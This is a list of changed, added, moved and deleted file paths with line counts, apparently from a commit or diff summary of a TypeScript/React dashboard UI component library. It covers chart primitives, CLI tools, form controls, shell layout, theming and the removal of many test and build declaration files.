- package/src/charts/primitives/Axes.tsx +82 -5
- package/src/charts/primitives/CartesianChart.tsx +194 -41
- package/src/charts/primitives/ChartCard.tsx +111 -27
- package/src/charts/primitives/ChartFrame.tsx +111 -26
- package/src/charts/primitives/ChartLegend.tsx +43 -13
- package/src/charts/primitives/ChartPending.tsx +194 -10
- package/src/charts/primitives/ChartTooltip.tsx +37 -5
- package/src/charts/primitives/Crosshair.tsx +6 -3
- package/src/charts/primitives/chart-frame-layout.ts +212 -0
- package/src/charts/primitives/chart-tier.tsx +37 -0
- package/src/charts/series.ts +77 -1
- package/src/charts/sparklines/BarSparkline.tsx +11 -3
- package/src/charts/sparklines/LineSparkline.tsx +18 -4
- package/src/charts/sparklines/index.ts +2 -2
- package/src/charts/utils/format.ts +19 -27
- package/src/charts/utils/ticks.ts +149 -4
- package/src/cli/audit-allows.ts +371 -0
- package/src/cli/check-theme.ts +197 -0
- package/src/cli/doctor.ts +331 -0
- package/src/cli/guard-hook.ts +115 -0
- package/src/cli/help.ts +101 -0
- package/src/cli/index.ts +269 -3434
- package/src/cli/init.ts +247 -0
- package/src/cli/sync.ts +324 -0
- package/src/cli/tokens-css.ts +252 -0
- package/src/commands/ShortcutsHelp.tsx +10 -3
- package/src/commands/define-commands.ts +2 -2
- package/src/commands/define-overlays.ts +216 -1
- package/src/commands/index.ts +22 -1
- package/src/commands/overlays-mount.tsx +63 -31
- package/src/commands/shell-bridge.ts +86 -0
- package/src/common/errors.ts +143 -0
- package/src/common/index.ts +23 -0
- package/src/common/is-dev.ts +4 -0
- package/src/common/props.ts +71 -0
- package/src/common/query-state-like.ts +64 -0
- package/src/common/refs.ts +58 -0
- package/src/common/scroll-parent.ts +42 -0
- package/src/common/validate.ts +94 -0
- package/src/content/article-layout.module.css +11 -4
- package/src/content/callout.tsx +13 -7
- package/src/content/guide.tsx +14 -4
- package/src/content/heading-anchor.tsx +14 -3
- package/src/content/index.ts +2 -0
- package/src/content/markdown.tsx +6 -8
- package/src/content/prose.module.css +9 -7
- package/src/content/reading-progress.tsx +40 -15
- package/src/content/slug.ts +4 -0
- package/src/content/toc.tsx +47 -10
- package/src/controls/actions.tsx +90 -10
- package/src/controls/compare-filter.tsx +20 -3
- package/src/controls/control-group.tsx +11 -4
- package/src/controls/controls.module.css +169 -186
- package/src/controls/controls.module.css.d.ts +9 -11
- package/src/controls/enum-filter.tsx +32 -16
- package/src/controls/filter-context.tsx +14 -6
- package/src/controls/filter-pill.tsx +6 -3
- package/src/controls/filter-set.tsx +32 -13
- package/src/controls/filter-sheet.tsx +44 -194
- package/src/controls/index.ts +7 -0
- package/src/controls/multi-select-filter.tsx +177 -27
- package/src/controls/number-filter.tsx +61 -23
- package/src/controls/panel-row.module.css +86 -0
- package/src/controls/panel-row.module.css.d.ts +13 -0
- package/src/controls/panel-row.tsx +392 -0
- package/src/controls/range-filter.tsx +76 -39
- package/src/controls/search-filter.tsx +30 -12
- package/src/controls/select-filter.tsx +11 -1
- package/src/controls/slider-control.tsx +159 -0
- package/src/controls/sync-button.tsx +13 -3
- package/src/controls/toggle-filter.tsx +36 -16
- package/src/controls/view-tabs.tsx +63 -11
- package/src/controls-dates/date-range-picker.tsx +8 -1
- package/src/dashboard/delta-badge.tsx +75 -4
- package/src/dashboard/empty-state.tsx +67 -24
- package/src/dashboard/index.ts +24 -3
- package/src/dashboard/query-state.tsx +142 -85
- package/src/{section → dashboard}/section.module.css +11 -0
- package/src/dashboard/section.tsx +287 -0
- package/src/dashboard/settings-section.tsx +88 -32
- package/src/dashboard/stat-card.module.css +46 -31
- package/src/dashboard/stat-card.module.css.d.ts +1 -0
- package/src/dashboard/stat-card.tsx +186 -128
- package/src/dashboard/stat-group.module.css +66 -0
- package/src/dashboard/stat-group.module.css.d.ts +8 -0
- package/src/dashboard/stat-group.tsx +74 -0
- package/src/dashboard/widget-grid.module.css +53 -0
- package/src/dashboard/widget-grid.module.css.d.ts +9 -0
- package/src/dashboard/widget-grid.tsx +127 -0
- package/src/{widget-header → dashboard}/widget-header.module.css +72 -7
- package/src/dashboard/widget-header.tsx +292 -0
- package/src/data/data-table.module.css +64 -0
- package/src/data/data-table.module.css.d.ts +11 -0
- package/src/data/data-table.tsx +921 -348
- package/src/data/query-branch.ts +53 -0
- package/src/data/table.ts +9 -23
- package/src/data/virtual-list.tsx +190 -56
- package/src/data/virtual.ts +8 -4
- package/src/dev-dock.tsx +159 -0
- package/src/format/date.ts +184 -0
- package/src/format/index.ts +69 -0
- package/src/format/measure.ts +31 -0
- package/src/format/number.ts +129 -0
- package/src/format/shared.ts +63 -0
- package/src/forms/FormErrorSummary.tsx +13 -6
- package/src/forms/create-form.ts +2 -2
- package/src/forms/field.ts +42 -13
- package/src/forms/form-layout.module.css +145 -0
- package/src/forms/form-layout.module.css.d.ts +20 -0
- package/src/forms/form-layout.tsx +305 -0
- package/src/forms/form-state.tsx +94 -0
- package/src/forms/index.ts +37 -7
- package/src/forms/use-field-array.ts +94 -0
- package/src/forms/use-form-draft.ts +145 -53
- package/src/forms/use-form-submit.ts +199 -0
- package/src/guard/index.ts +99 -70
- package/src/guard/types.ts +7 -10
- package/src/index.ts +92 -19
- package/src/notifications/bell.tsx +18 -4
- package/src/notifications/center.tsx +18 -5
- package/src/notifications/define-notifications.ts +64 -18
- package/src/notifications/index.ts +17 -8
- package/src/notifications/mount-guard.ts +39 -0
- package/src/notifications/notify.tsx +122 -3
- package/src/notifications/store.ts +7 -0
- package/src/{connectivity → provider}/connectivity-indicator.tsx +7 -2
- package/src/{connectivity → provider}/connectivity-provider.tsx +5 -2
- package/src/{connectivity/types.ts → provider/connectivity-types.ts} +5 -2
- package/src/provider/error-fallback.module.css +21 -0
- package/src/provider/error-fallback.module.css.d.ts +9 -0
- package/src/provider/index.tsx +116 -28
- package/src/provider/lab-theme.ts +2 -1
- package/src/{connectivity → provider}/use-connectivity.ts +4 -3
- package/src/query-client.ts +100 -0
- package/src/{query/devtools.tsx → query-devtools.tsx} +6 -4
- package/src/register.ts +20 -4
- package/src/router-tanstack/index.ts +4 -15
- package/src/router-tanstack/nav.ts +1 -1
- package/src/router-tanstack/search-store.ts +6 -14
- package/src/router-tanstack/use-nav.ts +19 -14
- package/src/shell/account-types.ts +5 -2
- package/src/shell/app-brand.module.css +109 -0
- package/src/shell/app-brand.module.css.d.ts +14 -0
- package/src/shell/app-brand.tsx +140 -0
- package/src/shell/app-breadcrumbs.tsx +20 -10
- package/src/shell/app-header.module.css +10 -5
- package/src/shell/app-main.module.css +118 -0
- package/src/shell/app-main.module.css.d.ts +11 -0
- package/src/shell/app-mobile-nav.module.css +48 -27
- package/src/shell/app-mobile-nav.module.css.d.ts +0 -1
- package/src/shell/app-mobile-nav.tsx +71 -12
- package/src/shell/app-sidebar-account.tsx +29 -6
- package/src/shell/app-sidebar.module.css +63 -96
- package/src/shell/app-sidebar.module.css.d.ts +0 -5
- package/src/shell/app-sidebar.tsx +61 -105
- package/src/shell/index.tsx +179 -93
- package/src/shell/isomorphic-layout-effect.ts +14 -0
- package/src/shell/mobile-nav-model.ts +67 -11
- package/src/shell/nav-count-badge.tsx +6 -1
- package/src/{nav/types.ts → shell/nav-types.ts} +15 -6
- package/src/shell/page-aside.module.css +174 -0
- package/src/shell/page-aside.module.css.d.ts +14 -0
- package/src/shell/page-aside.tsx +327 -0
- package/src/shell/page-bar.module.css +107 -13
- package/src/shell/page-bar.module.css.d.ts +4 -1
- package/src/shell/page-bar.tsx +294 -94
- package/src/shell/page-title.module.css +33 -0
- package/src/shell/page-title.module.css.d.ts +11 -0
- package/src/shell/page-title.tsx +57 -0
- package/src/shell/sidebar-block-model.ts +1 -1
- package/src/shell/sidebar-blocks.tsx +1 -1
- package/src/shell/sidebar-search.module.css +1 -1
- package/src/shell/sidebar-search.tsx +13 -4
- package/src/shell/use-breakpoint.ts +73 -0
- package/src/state/fields.ts +50 -53
- package/src/state/persisted-or-local.ts +50 -0
- package/src/state.ts +0 -9
- package/src/styles.css +36 -0
- package/src/surfaces.ts +72 -57
- package/src/theme/ctl-theme.tsx +10 -0
- package/src/theme/index.ts +136 -16
- package/src/theme/nav-link.module.css +37 -26
- package/src/theme/segmented-control.module.css +22 -0
- package/src/theme/segmented-control.module.css.d.ts +1 -0
- package/src/{theme-toggle/index.tsx → theme/theme-toggle.tsx} +11 -4
- package/src/theme-lab/boot.ts +140 -0
- package/src/theme-lab/index.tsx +21 -112
- package/src/tokens/index.ts +60 -6
- package/src/tokens/palette.ts +70 -30
- package/dist/agent/adapter.test.d.ts +0 -2
- package/dist/agent/adapter.test.d.ts.map +0 -1
- package/dist/agent/ai-sdk-transport.test.d.ts +0 -2
- package/dist/agent/ai-sdk-transport.test.d.ts.map +0 -1
- package/dist/agent/coalesce.test.d.ts +0 -2
- package/dist/agent/coalesce.test.d.ts.map +0 -1
- package/dist/agent/foreign.test.d.ts +0 -2
- package/dist/agent/foreign.test.d.ts.map +0 -1
- package/dist/agent/id.test.d.ts +0 -2
- package/dist/agent/id.test.d.ts.map +0 -1
- package/dist/agent/merge.test.d.ts +0 -2
- package/dist/agent/merge.test.d.ts.map +0 -1
- package/dist/agent/part-list.test.d.ts +0 -2
- package/dist/agent/part-list.test.d.ts.map +0 -1
- package/dist/agent/parts.test.d.ts +0 -2
- package/dist/agent/parts.test.d.ts.map +0 -1
- package/dist/agent/thread.test.d.ts +0 -2
- package/dist/agent/thread.test.d.ts.map +0 -1
- package/dist/agent/transport.test.d.ts +0 -2
- package/dist/agent/transport.test.d.ts.map +0 -1
- package/dist/agent/use-agent-stream.test.d.ts +0 -2
- package/dist/agent/use-agent-stream.test.d.ts.map +0 -1
- package/dist/agent/use-agent-thread-runs.foreign.test.d.ts +0 -2
- package/dist/agent/use-agent-thread-runs.foreign.test.d.ts.map +0 -1
- package/dist/agent/use-agent-thread-runs.resume.test.d.ts +0 -2
- package/dist/agent/use-agent-thread-runs.resume.test.d.ts.map +0 -1
- package/dist/agent/use-agent-thread-runs.test.d.ts +0 -2
- package/dist/agent/use-agent-thread-runs.test.d.ts.map +0 -1
- package/dist/agent/use-agent-thread-runs.wedge.test.d.ts +0 -2
- package/dist/agent/use-agent-thread-runs.wedge.test.d.ts.map +0 -1
- package/dist/agent-chat/composer.test.d.ts +0 -2
- package/dist/agent-chat/composer.test.d.ts.map +0 -1
- package/dist/agent-chat/relative-time.test.d.ts +0 -2
- package/dist/agent-chat/relative-time.test.d.ts.map +0 -1
- package/dist/agent-chat/thread-feed-row.test.d.ts +0 -2
- package/dist/agent-chat/thread-feed-row.test.d.ts.map +0 -1
- package/dist/agent-chat/thread-feed.test.d.ts +0 -2
- package/dist/agent-chat/thread-feed.test.d.ts.map +0 -1
- package/dist/agent-chat/thread-message.test.d.ts +0 -2
- package/dist/agent-chat/thread-message.test.d.ts.map +0 -1
- package/dist/agent-chat/thread-workspace.test.d.ts +0 -2
- package/dist/agent-chat/thread-workspace.test.d.ts.map +0 -1
- package/dist/agent-chat/tool-chip.test.d.ts +0 -2
- package/dist/agent-chat/tool-chip.test.d.ts.map +0 -1
- package/dist/agent-chat/virtualize.type-guard.test.d.ts +0 -2
- package/dist/agent-chat/virtualize.type-guard.test.d.ts.map +0 -1
- package/dist/charts/cursor/resolve.test.d.ts +0 -2
- package/dist/charts/cursor/resolve.test.d.ts.map +0 -1
- package/dist/charts/cursor/store.test.d.ts +0 -2
- package/dist/charts/cursor/store.test.d.ts.map +0 -1
- package/dist/charts/kinds/BandStrip.test.d.ts +0 -2
- package/dist/charts/kinds/BandStrip.test.d.ts.map +0 -1
- package/dist/charts/kinds/Bars.test.d.ts +0 -2
- package/dist/charts/kinds/Bars.test.d.ts.map +0 -1
- package/dist/charts/kinds/DualPanel.test.d.ts +0 -2
- package/dist/charts/kinds/DualPanel.test.d.ts.map +0 -1
- package/dist/charts/kinds/MirroredBars.test.d.ts +0 -2
- package/dist/charts/kinds/MirroredBars.test.d.ts.map +0 -1
- package/dist/charts/kinds/MultiLine.test.d.ts +0 -2
- package/dist/charts/kinds/MultiLine.test.d.ts.map +0 -1
- package/dist/charts/kinds/StackedArea.test.d.ts +0 -2
- package/dist/charts/kinds/StackedArea.test.d.ts.map +0 -1
- package/dist/charts/kinds/ZonedLine.test.d.ts +0 -2
- package/dist/charts/kinds/ZonedLine.test.d.ts.map +0 -1
- package/dist/charts/layout/auto-margin.test.d.ts +0 -2
- package/dist/charts/layout/auto-margin.test.d.ts.map +0 -1
- package/dist/charts/primitives/CartesianChart.test.d.ts +0 -2
- package/dist/charts/primitives/CartesianChart.test.d.ts.map +0 -1
- package/dist/charts/primitives/ChartCard.test.d.ts +0 -2
- package/dist/charts/primitives/ChartCard.test.d.ts.map +0 -1
- package/dist/charts/primitives/ChartFrame.test.d.ts +0 -2
- package/dist/charts/primitives/ChartFrame.test.d.ts.map +0 -1
- package/dist/charts/primitives/ChartLegend.test.d.ts +0 -2
- package/dist/charts/primitives/ChartLegend.test.d.ts.map +0 -1
- package/dist/charts/primitives/ChartTooltip.test.d.ts +0 -2
- package/dist/charts/primitives/ChartTooltip.test.d.ts.map +0 -1
- package/dist/charts/primitives/XZoneRects.test.d.ts +0 -2
- package/dist/charts/primitives/XZoneRects.test.d.ts.map +0 -1
- package/dist/charts/series.test.d.ts +0 -2
- package/dist/charts/series.test.d.ts.map +0 -1
- package/dist/charts/utils/domain.test.d.ts +0 -2
- package/dist/charts/utils/domain.test.d.ts.map +0 -1
- package/dist/charts/utils/measure-text.test.d.ts +0 -2
- package/dist/charts/utils/measure-text.test.d.ts.map +0 -1
- package/dist/cli/check-coverage.test.d.ts +0 -2
- package/dist/cli/check-coverage.test.d.ts.map +0 -1
- package/dist/cli/check-theme.test.d.ts +0 -2
- package/dist/cli/check-theme.test.d.ts.map +0 -1
- package/dist/cli/help.test.d.ts +0 -2
- package/dist/cli/help.test.d.ts.map +0 -1
- package/dist/cli/init-sync.test.d.ts +0 -2
- package/dist/cli/init-sync.test.d.ts.map +0 -1
- package/dist/cli/placement-engine.test.d.ts +0 -2
- package/dist/cli/placement-engine.test.d.ts.map +0 -1
- package/dist/cli/shipped-versions.test.d.ts +0 -2
- package/dist/cli/shipped-versions.test.d.ts.map +0 -1
- package/dist/cli/tarball-parity.test.d.ts +0 -2
- package/dist/cli/tarball-parity.test.d.ts.map +0 -1
- package/dist/cli/template-format.test.d.ts +0 -2
- package/dist/cli/template-format.test.d.ts.map +0 -1
- package/dist/cli/template-ledger.test.d.ts +0 -2
- package/dist/cli/template-ledger.test.d.ts.map +0 -1
- package/dist/cli/tokens-css.test.d.ts +0 -2
- package/dist/cli/tokens-css.test.d.ts.map +0 -1
- package/dist/cli/toolchain-wiring.test.d.ts +0 -2
- package/dist/cli/toolchain-wiring.test.d.ts.map +0 -1
- package/dist/cli/waiver-audit.test.d.ts +0 -2
- package/dist/cli/waiver-audit.test.d.ts.map +0 -1
- package/dist/connectivity/connectivity-indicator.d.ts +0 -11
- package/dist/connectivity/connectivity-indicator.d.ts.map +0 -1
- package/dist/connectivity/connectivity-provider.d.ts.map +0 -1
- package/dist/connectivity/index.d.ts +0 -13
- package/dist/connectivity/index.d.ts.map +0 -1
- package/dist/connectivity/index.js +0 -8
- package/dist/connectivity/types.d.ts.map +0 -1
- package/dist/connectivity/use-connectivity.d.ts +0 -3
- package/dist/connectivity/use-connectivity.d.ts.map +0 -1
- package/dist/content/article-actions.test.d.ts +0 -2
- package/dist/content/article-actions.test.d.ts.map +0 -1
- package/dist/content/article-model.test.d.ts +0 -2
- package/dist/content/article-model.test.d.ts.map +0 -1
- package/dist/content/block-split.test.d.ts +0 -2
- package/dist/content/block-split.test.d.ts.map +0 -1
- package/dist/content/heading-components.test.d.ts +0 -2
- package/dist/content/heading-components.test.d.ts.map +0 -1
- package/dist/content/markdown.test.d.ts +0 -2
- package/dist/content/markdown.test.d.ts.map +0 -1
- package/dist/content/prose.module.css.test.d.ts +0 -2
- package/dist/content/prose.module.css.test.d.ts.map +0 -1
- package/dist/content/sanitize.test.d.ts +0 -2
- package/dist/content/sanitize.test.d.ts.map +0 -1
- package/dist/content/slug.test.d.ts +0 -2
- package/dist/content/slug.test.d.ts.map +0 -1
- package/dist/controls/actions.test.d.ts +0 -2
- package/dist/controls/actions.test.d.ts.map +0 -1
- package/dist/controls/actions.type-guard.test.d.ts +0 -2
- package/dist/controls/actions.type-guard.test.d.ts.map +0 -1
- package/dist/controls/control-group.test.d.ts +0 -2
- package/dist/controls/control-group.test.d.ts.map +0 -1
- package/dist/controls/controls.router.test.d.ts +0 -2
- package/dist/controls/controls.router.test.d.ts.map +0 -1
- package/dist/controls/filter-set.test.d.ts +0 -2
- package/dist/controls/filter-set.test.d.ts.map +0 -1
- package/dist/controls/peer-boundary.test.d.ts +0 -2
- package/dist/controls/peer-boundary.test.d.ts.map +0 -1
- package/dist/controls/props-contract.test.d.ts +0 -2
- package/dist/controls/props-contract.test.d.ts.map +0 -1
- package/dist/controls/range-filter.type-guard.test.d.ts +0 -2
- package/dist/controls/range-filter.type-guard.test.d.ts.map +0 -1
- package/dist/controls/sync-button.test.d.ts +0 -2
- package/dist/controls/sync-button.test.d.ts.map +0 -1
- package/dist/dashboard/query-state.test.d.ts +0 -2
- package/dist/dashboard/query-state.test.d.ts.map +0 -1
- package/dist/dashboard/settings-section.test.d.ts +0 -2
- package/dist/dashboard/settings-section.test.d.ts.map +0 -1
- package/dist/dashboard/stat-card.test.d.ts +0 -2
- package/dist/dashboard/stat-card.test.d.ts.map +0 -1
- package/dist/data/data-table.test.d.ts +0 -2
- package/dist/data/data-table.test.d.ts.map +0 -1
- package/dist/data/index.d.ts +0 -38
- package/dist/data/index.d.ts.map +0 -1
- package/dist/data/index.js +0 -2
- package/dist/guard/check-source.test.d.ts +0 -2
- package/dist/guard/check-source.test.d.ts.map +0 -1
- package/dist/guard/grace.test.d.ts +0 -20
- package/dist/guard/grace.test.d.ts.map +0 -1
- package/dist/guard/guard-hook.test.d.ts +0 -2
- package/dist/guard/guard-hook.test.d.ts.map +0 -1
- package/dist/motion/index.d.ts.map +0 -1
- package/dist/nav/types.d.ts.map +0 -1
- package/dist/notifications/overlay.d.ts +0 -20
- package/dist/notifications/overlay.d.ts.map +0 -1
- package/dist/notifications/overlay.js +0 -12
- package/dist/provider/index.test.d.ts +0 -2
- package/dist/provider/index.test.d.ts.map +0 -1
- package/dist/provider/lab-theme.test.d.ts +0 -2
- package/dist/provider/lab-theme.test.d.ts.map +0 -1
- package/dist/query/devtools.d.ts.map +0 -1
- package/dist/query/error-message.d.ts +0 -41
- package/dist/query/error-message.d.ts.map +0 -1
- package/dist/query/error-message.js +0 -30
- package/dist/query/error-message.test.d.ts +0 -2
- package/dist/query/error-message.test.d.ts.map +0 -1
- package/dist/query/index.d.ts +0 -47
- package/dist/query/index.d.ts.map +0 -1
- package/dist/query/index.js +0 -56
- package/dist/router-tanstack/field.d.ts +0 -14
- package/dist/router-tanstack/field.d.ts.map +0 -1
- package/dist/router-tanstack/field.js +0 -4
- package/dist/router-tanstack/multi-search-param-store.d.ts +0 -43
- package/dist/router-tanstack/multi-search-param-store.d.ts.map +0 -1
- package/dist/router-tanstack/multi-search-param-store.js +0 -30
- package/dist/router-tanstack/multi-search-param-store.test.d.ts +0 -2
- package/dist/router-tanstack/multi-search-param-store.test.d.ts.map +0 -1
- package/dist/router-tanstack/nav.test.d.ts +0 -2
- package/dist/router-tanstack/nav.test.d.ts.map +0 -1
- package/dist/router-tanstack/search-param-store.d.ts +0 -42
- package/dist/router-tanstack/search-param-store.d.ts.map +0 -1
- package/dist/router-tanstack/search-param-store.js +0 -25
- package/dist/router-tanstack/search-param-store.test.d.ts +0 -2
- package/dist/router-tanstack/search-param-store.test.d.ts.map +0 -1
- package/dist/router-tanstack/search-store.router.test.d.ts +0 -2
- package/dist/router-tanstack/search-store.router.test.d.ts.map +0 -1
- package/dist/router-tanstack/search-store.test.d.ts +0 -2
- package/dist/router-tanstack/search-store.test.d.ts.map +0 -1
- package/dist/router-tanstack/use-nav.test.d.ts +0 -2
- package/dist/router-tanstack/use-nav.test.d.ts.map +0 -1
- package/dist/section/index.d.ts +0 -2
- package/dist/section/index.d.ts.map +0 -1
- package/dist/section/index.js +0 -4
- package/dist/section/section.d.ts +0 -24
- package/dist/section/section.d.ts.map +0 -1
- package/dist/section/section.js +0 -126
- package/dist/section/section.test.d.ts +0 -2
- package/dist/section/section.test.d.ts.map +0 -1
- package/dist/shell/app-mobile-nav.test.d.ts +0 -2
- package/dist/shell/app-mobile-nav.test.d.ts.map +0 -1
- package/dist/shell/app-sidebar.test.d.ts +0 -2
- package/dist/shell/app-sidebar.test.d.ts.map +0 -1
- package/dist/shell/index.test.d.ts +0 -2
- package/dist/shell/index.test.d.ts.map +0 -1
- package/dist/shell/mobile-nav-model.test.d.ts +0 -2
- package/dist/shell/mobile-nav-model.test.d.ts.map +0 -1
- package/dist/shell/page-bar.test.d.ts +0 -2
- package/dist/shell/page-bar.test.d.ts.map +0 -1
- package/dist/state/fields.test.d.ts +0 -2
- package/dist/state/fields.test.d.ts.map +0 -1
- package/dist/state/persisted.test.d.ts +0 -2
- package/dist/state/persisted.test.d.ts.map +0 -1
- package/dist/styles.floor.test.d.ts +0 -2
- package/dist/styles.floor.test.d.ts.map +0 -1
- package/dist/theme/border-coverage.test.d.ts +0 -18
- package/dist/theme/border-coverage.test.d.ts.map +0 -1
- package/dist/theme/contrast.test.d.ts +0 -2
- package/dist/theme/contrast.test.d.ts.map +0 -1
- package/dist/theme/ctl-theme.test.d.ts +0 -2
- package/dist/theme/ctl-theme.test.d.ts.map +0 -1
- package/dist/theme/ctl-tier-coverage.test.d.ts +0 -2
- package/dist/theme/ctl-tier-coverage.test.d.ts.map +0 -1
- package/dist/theme/density-option.test.d.ts +0 -2
- package/dist/theme/density-option.test.d.ts.map +0 -1
- package/dist/theme/density-relations.test.d.ts +0 -2
- package/dist/theme/density-relations.test.d.ts.map +0 -1
- package/dist/theme/derive-theme.test.d.ts +0 -2
- package/dist/theme/derive-theme.test.d.ts.map +0 -1
- package/dist/theme/divider-law.test.d.ts +0 -2
- package/dist/theme/divider-law.test.d.ts.map +0 -1
- package/dist/theme/fonts-option.test.d.ts +0 -2
- package/dist/theme/fonts-option.test.d.ts.map +0 -1
- package/dist/theme/icon-slot.test.d.ts +0 -2
- package/dist/theme/icon-slot.test.d.ts.map +0 -1
- package/dist/theme/layout-rhythm-css.test.d.ts +0 -2
- package/dist/theme/layout-rhythm-css.test.d.ts.map +0 -1
- package/dist/theme/radius-option.test.d.ts +0 -2
- package/dist/theme/radius-option.test.d.ts.map +0 -1
- package/dist/theme/radius.test.d.ts +0 -2
- package/dist/theme/radius.test.d.ts.map +0 -1
- package/dist/theme/shadow-surfaces.test.d.ts +0 -26
- package/dist/theme/shadow-surfaces.test.d.ts.map +0 -1
- package/dist/theme/spacing.test.d.ts +0 -2
- package/dist/theme/spacing.test.d.ts.map +0 -1
- package/dist/theme/use-basalt-spacing.test.d.ts +0 -2
- package/dist/theme/use-basalt-spacing.test.d.ts.map +0 -1
- package/dist/theme-lab/derive-controls.test.d.ts +0 -2
- package/dist/theme-lab/derive-controls.test.d.ts.map +0 -1
- package/dist/theme-lab/derive-state.test.d.ts +0 -2
- package/dist/theme-lab/derive-state.test.d.ts.map +0 -1
- package/dist/theme-lab/theme-lab.test.d.ts +0 -2
- package/dist/theme-lab/theme-lab.test.d.ts.map +0 -1
- package/dist/theme-toggle/index.d.ts +0 -8
- package/dist/theme-toggle/index.d.ts.map +0 -1
- package/dist/tokens/build-fonts-css.test.d.ts +0 -2
- package/dist/tokens/build-fonts-css.test.d.ts.map +0 -1
- package/dist/tokens/build-radius-css.test.d.ts +0 -2
- package/dist/tokens/build-radius-css.test.d.ts.map +0 -1
- package/dist/tokens/chart-margin.test.d.ts +0 -2
- package/dist/tokens/chart-margin.test.d.ts.map +0 -1
- package/dist/tokens/density.test.d.ts +0 -2
- package/dist/tokens/density.test.d.ts.map +0 -1
- package/dist/tokens/derive-radius.test.d.ts +0 -2
- package/dist/tokens/derive-radius.test.d.ts.map +0 -1
- package/dist/tokens/derive.test.d.ts +0 -2
- package/dist/tokens/derive.test.d.ts.map +0 -1
- package/dist/tokens/palette.test.d.ts +0 -2
- package/dist/tokens/palette.test.d.ts.map +0 -1
- package/dist/tokens/text-scale.test.d.ts +0 -2
- package/dist/tokens/text-scale.test.d.ts.map +0 -1
- package/dist/vite-color-mix.test.d.ts +0 -2
- package/dist/vite-color-mix.test.d.ts.map +0 -1
- package/dist/vite.test.d.ts +0 -2
- package/dist/vite.test.d.ts.map +0 -1
- package/dist/widget-header/delta-badge.d.ts +0 -13
- package/dist/widget-header/delta-badge.d.ts.map +0 -1
- package/dist/widget-header/delta-badge.js +0 -29
- package/dist/widget-header/delta-badge.test.d.ts +0 -2
- package/dist/widget-header/delta-badge.test.d.ts.map +0 -1
- package/dist/widget-header/index.d.ts +0 -3
- package/dist/widget-header/index.d.ts.map +0 -1
- package/dist/widget-header/index.js +0 -6
- package/dist/widget-header/no-mantine.test.d.ts +0 -2
- package/dist/widget-header/no-mantine.test.d.ts.map +0 -1
- package/dist/widget-header/widget-header.d.ts +0 -67
- package/dist/widget-header/widget-header.d.ts.map +0 -1
- package/dist/widget-header/widget-header.test.d.ts +0 -2
- package/dist/widget-header/widget-header.test.d.ts.map +0 -1
- package/src/agent/adapter.test.ts +0 -1640
- package/src/agent/ai-sdk-transport.test.ts +0 -658
- package/src/agent/coalesce.test.ts +0 -387
- package/src/agent/foreign.test.ts +0 -51
- package/src/agent/id.test.ts +0 -169
- package/src/agent/merge.test.ts +0 -206
- package/src/agent/part-list.test.tsx +0 -112
- package/src/agent/parts.test.ts +0 -720
- package/src/agent/thread.test.ts +0 -220
- package/src/agent/transport.test.ts +0 -70
- package/src/agent/use-agent-stream.test.tsx +0 -287
- package/src/agent/use-agent-thread-runs.foreign.test.tsx +0 -138
- package/src/agent/use-agent-thread-runs.resume.test.tsx +0 -294
- package/src/agent/use-agent-thread-runs.test.tsx +0 -1120
- package/src/agent/use-agent-thread-runs.wedge.test.tsx +0 -387
- package/src/agent-chat/composer.test.tsx +0 -924
- package/src/agent-chat/relative-time.test.ts +0 -95
- package/src/agent-chat/thread-feed-row.test.tsx +0 -510
- package/src/agent-chat/thread-feed.test.tsx +0 -241
- package/src/agent-chat/thread-message.test.tsx +0 -1285
- package/src/agent-chat/thread-workspace.test.tsx +0 -169
- package/src/agent-chat/tool-chip.test.tsx +0 -139
- package/src/agent-chat/virtualize.type-guard.test.ts +0 -49
- package/src/charts/cursor/resolve.test.ts +0 -151
- package/src/charts/cursor/store.test.ts +0 -64
- package/src/charts/kinds/BandStrip.test.tsx +0 -282
- package/src/charts/kinds/Bars.test.tsx +0 -183
- package/src/charts/kinds/DualPanel.test.tsx +0 -527
- package/src/charts/kinds/MirroredBars.test.tsx +0 -232
- package/src/charts/kinds/MultiLine.test.tsx +0 -218
- package/src/charts/kinds/StackedArea.test.tsx +0 -114
- package/src/charts/kinds/ZonedLine.test.tsx +0 -147
- package/src/charts/layout/auto-margin.test.ts +0 -42
- package/src/charts/primitives/CartesianChart.test.tsx +0 -647
- package/src/charts/primitives/ChartCard.test.tsx +0 -66
- package/src/charts/primitives/ChartFrame.test.tsx +0 -142
- package/src/charts/primitives/ChartLegend.test.tsx +0 -78
- package/src/charts/primitives/ChartTooltip.test.tsx +0 -44
- package/src/charts/primitives/XZoneRects.test.tsx +0 -123
- package/src/charts/series.test.ts +0 -112
- package/src/charts/utils/domain.test.ts +0 -54
- package/src/charts/utils/measure-text.test.ts +0 -36
- package/src/cli/check-coverage.test.ts +0 -297
- package/src/cli/check-theme.test.ts +0 -837
- package/src/cli/help.test.ts +0 -170
- package/src/cli/init-sync.test.ts +0 -343
- package/src/cli/placement-engine.test.ts +0 -298
- package/src/cli/shipped-versions.test.ts +0 -83
- package/src/cli/tarball-parity.test.ts +0 -44
- package/src/cli/template-format.test.ts +0 -64
- package/src/cli/template-ledger.test.ts +0 -219
- package/src/cli/tokens-css.test.ts +0 -249
- package/src/cli/toolchain-wiring.test.ts +0 -1358
- package/src/cli/waiver-audit.test.ts +0 -215
- package/src/connectivity/index.ts +0 -18
- package/src/content/article-actions.test.ts +0 -78
- package/src/content/article-model.test.ts +0 -119
- package/src/content/block-split.test.ts +0 -75
- package/src/content/heading-components.test.tsx +0 -65
- package/src/content/markdown.test.tsx +0 -603
- package/src/content/prose.module.css.test.ts +0 -39
- package/src/content/sanitize.test.ts +0 -659
- package/src/content/slug.test.ts +0 -62
- package/src/controls/actions.test.tsx +0 -252
- package/src/controls/actions.type-guard.test.ts +0 -63
- package/src/controls/control-group.test.tsx +0 -229
- package/src/controls/controls.router.test.tsx +0 -1053
- package/src/controls/filter-set.test.tsx +0 -472
- package/src/controls/peer-boundary.test.ts +0 -85
- package/src/controls/props-contract.test.tsx +0 -137
- package/src/controls/range-filter.type-guard.test.tsx +0 -122
- package/src/controls/sync-button.test.tsx +0 -183
- package/src/dashboard/query-state.test.tsx +0 -152
- package/src/dashboard/settings-section.test.tsx +0 -56
- package/src/dashboard/stat-card.test.tsx +0 -385
- package/src/data/data-table.test.tsx +0 -434
- package/src/data/index.ts +0 -41
- package/src/guard/check-source.test.ts +0 -3388
- package/src/guard/grace.test.ts +0 -158
- package/src/guard/guard-hook.test.ts +0 -203
- package/src/notifications/overlay.tsx +0 -64
- package/src/provider/index.test.tsx +0 -101
- package/src/provider/lab-theme.test.ts +0 -147
- package/src/query/error-message.test.ts +0 -67
- package/src/query/error-message.ts +0 -70
- package/src/query/index.ts +0 -97
